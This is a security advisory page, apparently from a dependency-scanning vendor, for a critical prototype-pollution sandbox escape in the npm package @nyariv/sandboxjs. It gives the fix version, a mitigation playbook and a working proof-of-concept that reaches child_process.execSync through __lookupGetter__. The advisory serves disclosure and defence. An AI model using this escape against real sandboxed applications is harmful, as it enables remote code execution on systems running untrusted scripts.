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📦 npm

GHSA-9p4w-fq8m-2hp7

CRITICAL

SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

Also known asCVE-2026-25142
Published
Feb 2, 2026
Updated
Feb 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.1%probability of exploitation in next 30 days
Lower Risk61th percentile+0.87%
0.00%0.53%1.06%1.59%0.1%0.2%0.2%0.2%1.1%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@nyariv/sandboxjsnpm
181Kdownloads / week

Description

Summary

SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`
sb.compile(payload)().run();

Impact

Prototype Pollution -> RCE

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nyariv/sandboxjsall versions0.8.27

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @nyariv/sandboxjs to 0.8.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9p4w-fq8m-2hp7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9p4w-fq8m-2hp7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9p4w-fq8m-2hp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload =
O3 Security · Impact-Aware SCA

Is GHSA-9p4w-fq8m-2hp7 in your dependencies?

O3 detects GHSA-9p4w-fq8m-2hp7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.